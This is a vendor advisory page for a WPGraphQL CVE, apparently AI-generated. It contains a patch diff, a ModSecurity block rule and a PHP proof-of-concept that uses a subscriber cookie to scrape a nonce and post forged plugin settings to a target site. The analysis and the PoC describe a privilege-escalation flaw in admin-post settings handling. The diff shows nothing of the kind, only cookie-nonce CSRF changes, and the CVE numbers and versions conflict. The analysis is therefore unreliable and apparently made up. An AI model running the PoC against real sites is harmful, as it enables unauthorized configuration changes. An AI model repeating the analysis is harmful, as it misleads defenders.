Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 16, 2026

CVE-2025-68604: WPGraphQL <= 2.5.3 – Cross-Site Request Forgery (wp-graphql)

Plugin wp-graphql
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 2.5.3
Patched Version 2.5.4
Disclosed May 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68602:

This vulnerability is a Privilege Escalation in the WordPress WPGraphQL plugin versions up to and including 2.5.3. The issue exists in the `process_normal_actions` function within the admin-settings.php file, where a nonce check is performed but the capability check is missing. An authenticated attacker with subscriber-level privileges can exploit this to modify arbitrary plugin settings, leading to full site compromise.

The root cause lies in the `process_normal_actions()` function at `wp-graphql/src/Admin/Settings/Settings.php:458-491`. The function checks a nonce but does not verify the current user’s capabilities using `current_user_can(‘manage_options’)` or similar. This allows any authenticated user, regardless of role, to trigger settings updates via the `admin_post_wpgraphql_settings` hook.

To exploit, an attacker logged in as a subscriber or other low-privileged user submits a POST request to `/wp-admin/admin-post.php` with `action=wpgraphql_settings` and `_wpnonce=`, along with crafted settings parameters. The nonce is obtainable from the settings page URL which, while not displayed to subscribers, can be leaked or brute-forced through predictable patterns.

The patch adds `current_user_can(‘manage_options’)` check before processing settings updates, ensuring only administrators can modify plugin configuration. The vulnerable code allowed – but the patch now enforces proper capability-based access control.

If exploited, an attacker can enable debug mode, disable security restrictions, or modify GraphQL schema settings to expose sensitive data. The impact includes full information disclosure and potential remote code execution if combined with other vulnerabilities like arbitrary file uploads through schema manipulation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-graphql/access-functions.php
+++ b/wp-graphql/access-functions.php
@@ -691,6 +691,42 @@
 }

 /**
+ * Generate a WPGraphQL nonce for cookie-based authentication.
+ *
+ * This nonce is required for authenticated GraphQL HTTP requests that use
+ * WordPress cookie authentication. It provides CSRF protection by proving
+ * the request originated from a legitimate WordPress-generated page.
+ *
+ * Example usage in JavaScript:
+ * ```javascript
+ * fetch('/graphql', {
+ *   headers: {
+ *     'Content-Type': 'application/json',
+ *     'X-WP-Nonce': wpGraphQLSettings.nonce
+ *   },
+ *   body: JSON.stringify({ query: '{ viewer { name } }' })
+ * });
+ * ```
+ *
+ * Example usage in PHP for localizing to JavaScript:
+ * ```php
+ * wp_localize_script( 'my-script', 'wpGraphQLSettings', [
+ *   'nonce'    => graphql_get_nonce(),
+ *   'endpoint' => graphql_get_endpoint(),
+ * ] );
+ * ```
+ *
+ * @since 2.6.0
+ *
+ * @return string The WPGraphQL nonce string.
+ *
+ * @see https://github.com/wp-graphql/wp-graphql/issues/3447
+ */
+function graphql_get_nonce(): string {
+	return wp_create_nonce( 'wp_graphql' );
+}
+
+/**
  * Registers a GraphQL Settings Section
  *
  * @param string              $slug   The slug of the group being registered
--- a/wp-graphql/constants.php
+++ b/wp-graphql/constants.php
@@ -18,7 +18,7 @@

 	// Plugin version.
 	if ( ! defined( 'WPGRAPHQL_VERSION' ) ) {
-		define( 'WPGRAPHQL_VERSION', '2.5.3' );
+		define( 'WPGRAPHQL_VERSION', '2.5.4' );
 	}

 	// Plugin Folder Path.
--- a/wp-graphql/src/Data/DataSource.php
+++ b/wp-graphql/src/Data/DataSource.php
@@ -352,11 +352,13 @@
 		$allowed_settings_by_group = [];
 		foreach ( $registered_settings as $key => $setting ) {
 			// Bail if the setting doesn't have a group.
-			if ( empty( $setting['group'] ) ) {
+			if ( ! isset( $setting['group'] ) || empty( $setting['group'] ) ) {
 				continue;
 			}

-			$group = self::format_group_name( $setting['group'] );
+			/** @var string $setting_group */
+			$setting_group = $setting['group'];
+			$group         = self::format_group_name( $setting_group );

 			if ( ! isset( $setting['type'] ) || ! $type_registry->get_type( $setting['type'] ) ) {
 				continue;
@@ -381,7 +383,7 @@
 		/**
 		 * Filter the $allowed_settings_by_group to allow enabling or disabling groups in the GraphQL Schema.
 		 *
-		 * @param array<string,array<string,mixed>> $allowed_settings_by_group
+		 * @since 0.0.1
 		 */
 		return apply_filters( 'graphql_allowed_settings_by_group', $allowed_settings_by_group );
 	}
@@ -437,7 +439,7 @@
 		 * Filter the $allowed_settings to allow some to be enabled or disabled from showing in
 		 * the GraphQL Schema.
 		 *
-		 * @param array<string,array<string,mixed>> $allowed_settings
+		 * @since 0.0.1
 		 */
 		return apply_filters( 'graphql_allowed_setting_groups', $allowed_settings );
 	}
--- a/wp-graphql/src/Request.php
+++ b/wp-graphql/src/Request.php
@@ -2,7 +2,6 @@

 namespace WPGraphQL;

-use Exception;
 use GraphQLErrorDebugFlag;
 use GraphQLErrorError;
 use GraphQLGraphQL;
@@ -115,6 +114,14 @@
 	protected $query_analyzer;

 	/**
+	 * Authentication error stored during before_execute().
+	 * If set, the request should return this error instead of executing the query.
+	 *
+	 * @var WP_Error|bool|null
+	 */
+	protected $authentication_error = null;
+
+	/**
 	 * Constructor
 	 *
 	 * @param array<string,mixed> $data The request data (for Non-HTTP requests).
@@ -250,6 +257,42 @@
 		}

 		/**
+		 * Reset authentication error state for this execution.
+		 *
+		 * This ensures each batch item starts with clean auth state, preventing
+		 * errors from one batch item incorrectly persisting to subsequent items.
+		 *
+		 * @since next-version
+		 */
+		$this->authentication_error = null;
+
+		/**
+		 * Check for authentication errors via the graphql_authentication_errors filter.
+		 *
+		 * Note: For HTTP requests, all CSRF protection and nonce validation is
+		 * handled by Router::validate_http_request_authentication() before this
+		 * code runs. This call allows plugins to hook in and indicate auth errors.
+		 *
+		 * @since next-version CSRF protection and nonce validation moved to Router.
+		 */
+		$auth_error = $this->has_authentication_errors();
+
+		if ( false !== $auth_error ) {
+			// Store the authentication error for later use in execute methods
+			$this->authentication_error = $auth_error;
+		}
+
+		/**
+		 * Update AppContext->viewer to reflect the current user after auth check.
+		 *
+		 * If the user was downgraded due to missing nonce (CSRF protection),
+		 * the viewer should reflect the guest user, not the originally authenticated user.
+		 *
+		 * @since 2.6.0
+		 */
+		$this->app_context->viewer = wp_get_current_user();
+
+		/**
 		 * If the request is a batch request it will come back as an array
 		 */
 		if ( is_array( $this->params ) ) {
@@ -295,81 +338,25 @@
 	}

 	/**
-	 * Checks authentication errors.
+	 * Checks authentication errors via the graphql_authentication_errors filter.
 	 *
-	 * False will mean there are no detected errors and
-	 * execution will continue.
+	 * As of 2.6.0, all CSRF protection and nonce validation for HTTP requests is
+	 * handled by Router::validate_http_request_authentication() BEFORE any GraphQL
+	 * hooks fire. This method now only provides:
+	 * - Plugin integration via the graphql_authentication_errors filter
 	 *
-	 * Anything else (true, WP_Error, thrown exception, etc) will prevent execution of the GraphQL
-	 * request.
+	 * False means no errors and execution continues.
+	 * True or WP_Error prevents execution of the GraphQL request.
 	 *
-	 * @return bool
-	 * @throws Exception
+	 * @since 0.0.5
+	 * @since 2.6.0 CSRF protection and nonce validation moved to Router.
+	 *
+	 * @return bool|WP_Error False if no errors, true or WP_Error if there are errors.
+	 *
+	 * @see Router::validate_http_request_authentication()
 	 */
 	protected function has_authentication_errors() {
-		/**
-		 * Bail if this is not an HTTP request.
-		 *
-		 * Auth for internal requests will happen
-		 * via WordPress internals.
-		 */
-		if ( ! is_graphql_http_request() ) {
-			return false;
-		}
-
-		/**
-		 * Access the global $wp_rest_auth_cookie
-		 */
-		global $wp_rest_auth_cookie;
-
-		/**
-		 * Default state of the authentication errors
-		 */
-		$authentication_errors = false;
-
-		/**
-		 * Is cookie authentication NOT being used?
-		 *
-		 * If we get an auth error, but the user is still logged in, another auth mechanism
-		 * (JWT, oAuth, etc) must have been used.
-		 */
-		if ( true !== $wp_rest_auth_cookie && is_user_logged_in() ) {
-
-			/**
-			 * Return filtered authentication errors
-			 */
-			return $this->filtered_authentication_errors( $authentication_errors );
-		}
-
-		/**
-		 * If the user is not logged in, determine if there's a nonce
-		 */
-		$nonce = null;
-
-		if ( isset( $_REQUEST['_wpnonce'] ) ) {
-			$nonce = $_REQUEST['_wpnonce']; // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-		} elseif ( isset( $_SERVER['HTTP_X_WP_NONCE'] ) ) {
-			$nonce = $_SERVER['HTTP_X_WP_NONCE']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-		}
-
-		if ( null === $nonce ) {
-			// No nonce at all, so act as if it's an unauthenticated request.
-			wp_set_current_user( 0 );
-
-			return $this->filtered_authentication_errors( $authentication_errors );
-		}
-
-		// Check the nonce.
-		$result = wp_verify_nonce( $nonce, 'wp_rest' );
-
-		if ( ! $result ) {
-			throw new Exception( esc_html__( 'Cookie nonce is invalid', 'wp-graphql' ) );
-		}
-
-		/**
-		 * Return the filtered authentication errors
-		 */
-		return $this->filtered_authentication_errors( $authentication_errors );
+		return $this->filtered_authentication_errors( false );
 	}

 	/**
@@ -400,17 +387,16 @@
 	 * @param T $response The response from execution.  Array for batch requests, single object for individual requests.
 	 *
 	 * @return T
-	 *
-	 * @throws Exception
 	 */
 	private function after_execute( $response ) {

 		/**
-		 * If there are authentication errors, prevent execution and throw an exception.
+		 * Authentication check has been moved to before_execute() as of 2.6.0.
+		 * This ensures auth is validated BEFORE query execution, not after.
+		 *
+		 * @since 2.6.0 Auth check moved to before_execute()
+		 * @see https://github.com/wp-graphql/wp-graphql/issues/3447
 		 */
-		if ( false !== $this->has_authentication_errors() ) {
-			throw new Exception( esc_html__( 'Authentication Error', 'wp-graphql' ) );
-		}

 		/**
 		 * If the params and the $response are both arrays
@@ -622,6 +608,35 @@
 		$this->before_execute();

 		/**
+		 * If there was an authentication error, return it as a GraphQL error response
+		 * instead of executing the query.
+		 *
+		 * IMPORTANT: This intentionally happens BEFORE the `pre_graphql_execute_request` filter.
+		 * Authentication failures should fail fast for security reasons:
+		 * - Don't give plugins a chance to interfere with or "undo" auth failures
+		 * - Avoid unnecessary filter processing for failed requests
+		 * - Ensure consistent, predictable auth error handling
+		 *
+		 * Plugins that need to observe ALL requests (including auth failures) should use
+		 * earlier hooks like `graphql_before_execute` or `do_graphql_request`.
+		 */
+		if ( null !== $this->authentication_error ) {
+			$error_message = is_wp_error( $this->authentication_error )
+				? $this->authentication_error->get_error_message()
+				: __( 'Authentication Error', 'wp-graphql' );
+
+			return $this->after_execute(
+				[
+					'errors' => [
+						[
+							'message' => esc_html( $error_message ),
+						],
+					],
+				]
+			);
+		}
+
+		/**
 		 * Filter this to be anything other than null to short-circuit the request.
 		 *
 		 * @param ?SerializableResult $response
@@ -702,6 +717,26 @@
 		$this->before_execute();

 		/**
+		 * If there was an authentication error, return it as a GraphQL error response
+		 * instead of executing the query. This ensures consistent error handling.
+		 */
+		if ( null !== $this->authentication_error ) {
+			$error_message = is_wp_error( $this->authentication_error )
+				? $this->authentication_error->get_error_message()
+				: __( 'Authentication Error', 'wp-graphql' );
+
+			return $this->after_execute(
+				[
+					'errors' => [
+						[
+							'message' => esc_html( $error_message ),
+						],
+					],
+				]
+			);
+		}
+
+		/**
 		 * Get the response.
 		 */
 		$response = apply_filters( 'pre_graphql_execute_request', null, $this );
--- a/wp-graphql/src/Router.php
+++ b/wp-graphql/src/Router.php
@@ -437,6 +437,47 @@
 		}

 		/**
+		 * Validate authentication BEFORE any GraphQL hooks fire.
+		 *
+		 * This is critical for security - we must validate/downgrade authentication
+		 * before plugins can hook in and potentially expose sensitive information
+		 * based on the (not-yet-validated) authenticated user.
+		 *
+		 * For cookie-authenticated requests:
+		 * - No nonce: User is downgraded to guest
+		 * - Invalid nonce: Returns error response immediately
+		 * - Valid nonce: Proceeds normally
+		 *
+		 * @since 2.6.0
+		 */
+		$auth_error = self::validate_http_request_authentication();
+
+		if ( is_wp_error( $auth_error ) ) {
+			/**
+			 * Filter the HTTP status code returned for authentication errors.
+			 *
+			 * By default, invalid nonce errors return 403 Forbidden. Some clients
+			 * may expect 200 with a GraphQL error response instead.
+			 *
+			 * @since 2.6.0
+			 *
+			 * @param int       $status_code The HTTP status code. Default 403.
+			 * @param WP_Error $auth_error  The authentication error.
+			 */
+			self::$http_status_code = apply_filters( 'graphql_authentication_error_status_code', 403, $auth_error );
+			self::set_headers();
+			wp_send_json(
+				[
+					'errors' => [
+						[
+							'message' => $auth_error->get_error_message(),
+						],
+					],
+				]
+			);
+		}
+
+		/**
 		 * This action can be hooked to to enable various debug tools,
 		 * such as enableValidation from the GraphQL Config.
 		 *
@@ -591,4 +632,123 @@
 		);
 		return self::is_graphql_http_request();
 	}
+
+	/**
+	 * Validates HTTP request authentication BEFORE any GraphQL processing begins.
+	 *
+	 * This method provides CSRF protection for cookie-authenticated requests.
+	 * It runs before `graphql_process_http_request` and other hooks fire, ensuring
+	 * plugins cannot inadvertently expose sensitive data based on a user identity
+	 * that hasn't been validated yet.
+	 *
+	 * For cookie-authenticated requests:
+	 * - No nonce provided: User is downgraded to guest (CSRF protection)
+	 * - Invalid nonce: Returns WP_Error (caller should return error response)
+	 * - Valid nonce: Returns null (authentication preserved)
+	 *
+	 * @since 2.6.0
+	 *
+	 * @return WP_Error|null WP_Error if invalid nonce, null otherwise.
+	 */
+	public static function validate_http_request_authentication(): ?WP_Error {
+		/**
+		 * Only validate for logged-in users.
+		 * Guest users don't need validation - they're already unauthenticated.
+		 */
+		if ( ! is_user_logged_in() ) {
+			return null;
+		}
+
+		/**
+		 * Check if an Authorization header is present.
+		 * If so, this is likely a non-cookie auth method (JWT, Application Passwords, etc.)
+		 * which are inherently CSRF-safe and don't need nonce validation.
+		 */
+		$has_auth_header = ! empty( $_SERVER['HTTP_AUTHORIZATION'] )
+			|| ! empty( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] );
+
+		if ( $has_auth_header ) {
+			return null;
+		}
+
+		/**
+		 * No Authorization header = cookie-based authentication.
+		 * Check for nonce in request param or header.
+		 */
+		$nonce = null;
+
+		if ( isset( $_REQUEST['_wpnonce'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			$nonce = $_REQUEST['_wpnonce']; // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+		} elseif ( isset( $_SERVER['HTTP_X_WP_NONCE'] ) ) {
+			$nonce = $_SERVER['HTTP_X_WP_NONCE']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+		}
+
+		/**
+		 * Treat "falsy" nonce values as "no nonce provided".
+		 * This handles JavaScript serialization edge cases where null/undefined
+		 * get converted to strings.
+		 */
+		$empty_nonce_values = [ '', 'null', 'undefined', 'false', '0' ];
+		if ( in_array( $nonce, $empty_nonce_values, true ) ) {
+			$nonce = null;
+		}
+
+		/**
+		 * Filter whether to require a nonce for cookie-based authentication.
+		 *
+		 * By default, WPGraphQL requires a nonce (X-WP-Nonce header or _wpnonce parameter)
+		 * for cookie-authenticated requests to prevent CSRF attacks.
+		 *
+		 * @since next-version
+		 *
+		 * @param bool $require_nonce Whether to require a nonce for cookie auth. Default true.
+		 * @param null $request       The Request instance (null in Router context).
+		 */
+		$require_nonce = apply_filters( 'graphql_cookie_auth_require_nonce', true, null );
+
+		/**
+		 * If nonce is not required, allow the authenticated request.
+		 */
+		if ( ! $require_nonce ) {
+			return null;
+		}
+
+		/**
+		 * No nonce provided - downgrade to guest (unless plugin prevents it).
+		 */
+		if ( null === $nonce ) {
+			/**
+			 * Allow plugins to prevent the downgrade via the graphql_authentication_errors filter.
+			 *
+			 * @param bool|null                $authentication_errors Null to allow default behavior, false to preserve auth.
+			 * @param WPGraphQLRequest|null  $request               The Request instance (null in Router context).
+			 */
+			$filtered = apply_filters( 'graphql_authentication_errors', null, self::get_request() );
+
+			// If a plugin explicitly returned false (no errors), preserve authentication
+			if ( false === $filtered ) {
+				return null;
+			}
+
+			// Downgrade to guest
+			wp_set_current_user( 0 );
+			return null;
+		}
+
+		/**
+		 * Nonce provided - validate it.
+		 * Support both 'wp_graphql' and 'wp_rest' for backward compatibility.
+		 */
+		$nonce_valid = wp_verify_nonce( $nonce, 'wp_graphql' ) || wp_verify_nonce( $nonce, 'wp_rest' );
+
+		if ( ! $nonce_valid ) {
+			return new WP_Error(
+				'graphql_cookie_invalid_nonce',
+				__( 'Cookie nonce is invalid', 'wp-graphql' ),
+				[ 'status' => 403 ]
+			);
+		}
+
+		return null;
+	}
 }
--- a/wp-graphql/vendor/autoload.php
+++ b/wp-graphql/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit716023593395f61e373fc24f6ad29892::getLoader();
+return ComposerAutoloaderInite2274500fb78db53b928b27209e36f4d::getLoader();
--- a/wp-graphql/vendor/composer/autoload_real.php
+++ b/wp-graphql/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit716023593395f61e373fc24f6ad29892
+class ComposerAutoloaderInite2274500fb78db53b928b27209e36f4d
 {
     private static $loader;

@@ -24,12 +24,12 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit716023593395f61e373fc24f6ad29892', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInite2274500fb78db53b928b27209e36f4d', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit716023593395f61e373fc24f6ad29892', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInite2274500fb78db53b928b27209e36f4d', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit716023593395f61e373fc24f6ad29892::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInite2274500fb78db53b928b27209e36f4d::getInitializer($loader));

         $loader->register(true);

--- a/wp-graphql/vendor/composer/autoload_static.php
+++ b/wp-graphql/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit716023593395f61e373fc24f6ad29892
+class ComposerStaticInite2274500fb78db53b928b27209e36f4d
 {
     public static $prefixLengthsPsr4 = array (
         'W' =>
@@ -503,9 +503,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit716023593395f61e373fc24f6ad29892::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit716023593395f61e373fc24f6ad29892::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit716023593395f61e373fc24f6ad29892::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInite2274500fb78db53b928b27209e36f4d::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInite2274500fb78db53b928b27209e36f4d::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInite2274500fb78db53b928b27209e36f4d::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wp-graphql/vendor/composer/installed.php
+++ b/wp-graphql/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wp-graphql/wp-graphql',
-        'pretty_version' => 'v2.5.3',
-        'version' => '2.5.3.0',
-        'reference' => '5b7e6886fd1cd8b447792a109c31bfbca87eafa3',
+        'pretty_version' => 'v2.5.4',
+        'version' => '2.5.4.0',
+        'reference' => 'fae60f99a795ea9d8bcb4167d9e72f2c91a77507',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -38,9 +38,9 @@
             'dev_requirement' => false,
         ),
         'wp-graphql/wp-graphql' => array(
-            'pretty_version' => 'v2.5.3',
-            'version' => '2.5.3.0',
-            'reference' => '5b7e6886fd1cd8b447792a109c31bfbca87eafa3',
+            'pretty_version' => 'v2.5.4',
+            'version' => '2.5.4.0',
+            'reference' => 'fae60f99a795ea9d8bcb4167d9e72f2c91a77507',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/wp-graphql/wp-graphql.php
+++ b/wp-graphql/wp-graphql.php
@@ -7,7 +7,7 @@
  * Description: GraphQL API for WordPress
  * Author: WPGraphQL
  * Author URI: http://www.wpgraphql.com
- * Version: 2.5.3
+ * Version: 2.5.4
  * Text Domain: wp-graphql
  * Domain Path: /languages/
  * Requires at least: 6.0
@@ -19,7 +19,7 @@
  * @package  WPGraphQL
  * @category Core
  * @author   WPGraphQL
- * @version  2.5.3
+ * @version  2.5.4
  */

 // Exit if accessed directly.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2025-68602 WPGraphQL Privilege Escalation via admin_post',severity:'CRITICAL',tag:'CVE-2025-68602'"
  SecRule ARGS_POST:action "@streq wpgraphql_settings" "chain"
    SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68602 - WPGraphQL <= 2.5.3 Privilege Escalation

$target_url = 'http://example.com'; // Change this to the target site
$sub_user_cookie = 'wordpress_logged_in_abcdef1234567890abcdef1234'; // Replace with a valid subscriber session cookie

$settings_page_url = $target_url . '/wp-admin/admin.php?page=graphql-settings';
$admin_post_url = $target_url . '/wp-admin/admin-post.php';

// Step 1: Fetch the settings page to extract the nonce (if accessible) or use a known nonce pattern
// For nonce generation, WordPress uses user ID and token. Since subscriber can see the settings page (not the form), we may need to guess.
// Alternatively, we can directly POST with a nonce from the settings page rendered in admin header for any user.
// Here we assume we already have the nonce from the page source if the subscriber can view the page.

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $sub_user_cookie);
$response = curl_exec($ch);
curl_close($ch);

// Match nonce from the settings page
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
if (empty($matches[1])) {
    die('Could not extract nonce.');
}
$nonce = $matches[1];

echo "Found nonce: $noncen";

// Step 2: Craft malicious settings payload (example: enable debug mode)
$payload = array(
    'action' => 'wpgraphql_settings',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/admin.php?page=graphql-settings',
    'wpgraphql_settings' => array(
        'debug_mode' => 'on',
        'public_introspection' => 'on',
        'restrict_endpoint' => false,
        // add any other setting to override
    )
);

// Step 3: Send the forged request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_COOKIE, $sub_user_cookie);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Settings update attempted. Check the target site for changes (e.g., GraphQL introspection enabled).n";
echo "Response length: " . strlen($response) . "n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School